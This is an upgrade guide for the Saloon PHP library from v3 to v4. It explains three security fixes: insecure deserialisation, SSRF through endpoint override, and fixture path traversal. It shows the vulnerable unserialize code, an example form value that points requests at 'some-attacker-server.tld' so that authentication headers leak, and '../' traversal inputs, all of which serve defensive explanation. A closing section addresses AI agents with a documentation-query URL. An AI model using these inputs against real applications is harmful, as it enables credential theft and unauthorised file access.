# Upgrading from v3 to v4

Saloon version four initially released as a security update without any new features. We highly recommend all users to upgrade to this version as this has been released to resolve **three breaking CVE issues** published on the **25th March 2026**.

### CVE Issues Resolved

* [Insecure deserialisation in AccessTokenAuthenticator (object injection / RCE)](https://github.com/saloonphp/saloon/security/advisories/GHSA-rf88-776r-rcq9)
* [Absolute URL in endpoint overrides base URL (SSRF / credential leakage)](https://github.com/saloonphp/saloon/security/advisories/GHSA-c83f-3xp6-hfcp)
* [Fixture name path traversal (out-of-bounds file read/write)](https://github.com/saloonphp/saloon/security/advisories/GHSA-f7xc-5852-fj99)

More information on the issues resolved is explained below.

### Upgrade Guide

To upgrade to Saloon v4 change the following dependencies in your `composer.json` file to `^4.0`&#x20;

<pre class="language-json"><code class="lang-json">{
    ...
<strong>    "saloonphp/saloon": "^4.0",
</strong><strong>    "saloonphp/laravel-plugin": "^4.0"
</strong>    ....
}
</code></pre>

{% hint style="info" %}
You may not have installed the `saloonphp/laravel-plugin` if you are not using Laravel, additionally the plugins like the `saloonphp/cache-plugin` have been updated to support both v3 and v4.
{% endhint %}

After that, make sure to run the following command to update your `composer.lock` file and your `vendor` directory.

```bash
composer update "saloonphp/*"
```

{% hint style="info" %}
The above command will just update the `saloonphp` libraries in your application. If you have other dependencies using Saloon you should make sure that they are updated as well.&#x20;
{% endhint %}

### What's changed in v4?

There have been three breaking changes in Saloon v4, depending on your application's usage of Saloon, you may or may not encounter any issues.

#### <mark style="color:$danger;">High</mark> - Removal of the serialize/unserialize methods in the AccessTokenAuthenticator class

With previous versions of Saloon, when using the built in OAuth2 `AuthorizationCodeGrant` trait and the `AccessTokenAuthenticator` class, this had the ability for the class to be serialized and unserialized. This was offered as a convenient way of storing the authenticator's data in your database, or somewhere in your application to be kept at rest and resolved at a later time.

Internally this used `allowed_classes ⇒ true` which under specific circumstances, an attacker can abuse this feature potentially escalating it to a remote code execution (RCE) attack.

<pre class="language-php"><code class="lang-php">&#x3C;?php

class AccessTokenAuthenticator implements OAuthAuthenticator
{
    public function __construct(
        public readonly string $accessToken,
        public readonly ?string $refreshToken = null,
        public readonly ?DateTimeImmutable $expiresAt = null,
    ) {
        //
    }

    ...

    public function serialize(): string
    {
        return serialize($this);
    }

    public static function unserialize(string $string): static
    {
<strong>        return unserialize($string, ['allowed_classes' => true]);
</strong>    }
}
</code></pre>

With Saloon v4, we have removed the `serialize`  and `unserialize`  methods, and if you were previously relying on this feature we recommend reading the `accessToken`, `refreshToken`  and `expiresAt`  properties directly and storing them.

Additionally if you used the following casts in the Laravel plugin, these have also been removed in v4 and we recommend building your own implementation.

* OAuthAuthenticatorCast
* EncryptedOAuthAuthenticatorCast

#### <mark style="color:$warning;">Medium</mark> - New opt-in requirement to change base URL on a request

With previous versions of Saloon, a lesser-known feature was that if you wanted to, you could provide a fully qualified URL in the request class' `resolveEndpoint` method and Saloon would use this URL instead of base URL of the connector.

<pre class="language-php"><code class="lang-php">&#x3C;?php

<strong>class GetServersRequest extends Request
</strong>{
    protected Method $method = Method::GET;

    public function resolveEndpoint(): string
    {
<strong>        return 'https://forge.laravel.com/api/servers';
</strong>    }
}
</code></pre>

If your application sets this endpoint from **user generated content** this could potentially lead to an attack where a malicious actor could change the endpoint to a URL of a server they maintain. For example, let's say you have a Instagram connector which looks up profiles based on the profile's handle (for example @saloon)

```php
// Connector

class InstagramConnector extends Connector
{
    public function resolveBaseUrl(): string
    {
        return 'https://instagram.com';
    }
}

// Request

class GetProfileRequest extends Request
{
    public function resolveEndpoint(): string
    {
        return $this->handle;
    }
}
```

During normal operations, this might look like this

```php
$form = [
   'handle' => '@saloon',
];

new InstagramConnector()->send(new GetProfileRequest($form['handle']))
```

However an attacker could do something like this

```php
$form = [
   'handle' => 'https://some-attacker-server.tld/attack',
];

new InstagramConnector()->send(new GetProfileRequest($form['handle']))
```

Then Saloon would send all of the authentication, headers and other potentially sensitive information to the attacker's URL.

We **highly recommend** that your application sanitizes all user input and prevents this from happening, but as an additional precautionary measure this default behaviour has now been disabled  and is now an opt-in on both requests and OAuth2 configuration scenarios.

<pre class="language-php"><code class="lang-php">class GetProfileRequest extends Request
{
<strong>    public ?bool $allowBaseUrlOverride = true;
</strong>
    public function resolveEndpoint(): string
    {
        return $this->handle;
    }
}
</code></pre>

<pre class="language-php"><code class="lang-php">class SpotifyConnector extends Connector
{
    use AuthorizationCodeGrant;

    public function resolveBaseUrl(): string
    {
        // Spotify's API has a different base URL for OAuth2 auth.

        return 'https://api.spotify.com/v1';
    }

    protected function defaultOauthConfig(): OAuthConfig
    {
        return OAuthConfig::make()
            ->setClientId('my-client-id')
            ->setClientSecret('my-client-secret')
            ->setDefaultScopes(['user-read-currently-playing'])
            ->setRedirectUri('https://my-app.saloon.dev/auth/callback')
            ->setAuthorizeEndpoint('https://accounts.spotify.com/authorize')
            ->setTokenEndpoint('https://accounts.spotify.com/api/token')
<strong>            ->setAllowBaseUrlOverride()
</strong>            ->setUserEndpoint('/me')
            ->setRequestModifier(function (Request $request) {
                // Optional: Modify the requests being sent.
            });
    }
}
</code></pre>

#### <mark style="color:blue;">Low</mark> - Restriction of path traversal in test fixtures

With previous versions of Saloon, when using the request recording functionality (fixtures) in tests you were able to define a path where the fixtures were stored.

<pre class="language-php"><code class="lang-php">&#x3C;?php

test('can store servers in the database from laravel forge', function () {
    MockClient::global([
<strong>        GetServersRequest::class => MockResponse::fixture('custom-path/servers'),
</strong>    ]);
});
</code></pre>

Previously, Saloon didn't restrict the use of path traversal techniques such as `../`  and `~` . With Saloon v4, this has now been restricted. You now cannot do the following

```php
MockResponse::fixture('../../custom-path/servers'); ⛔️
MockResponse::fixture('~/custom-path/servers'); ⛔️
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.saloon.dev/upgrade/upgrading-from-v3-to-v4.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
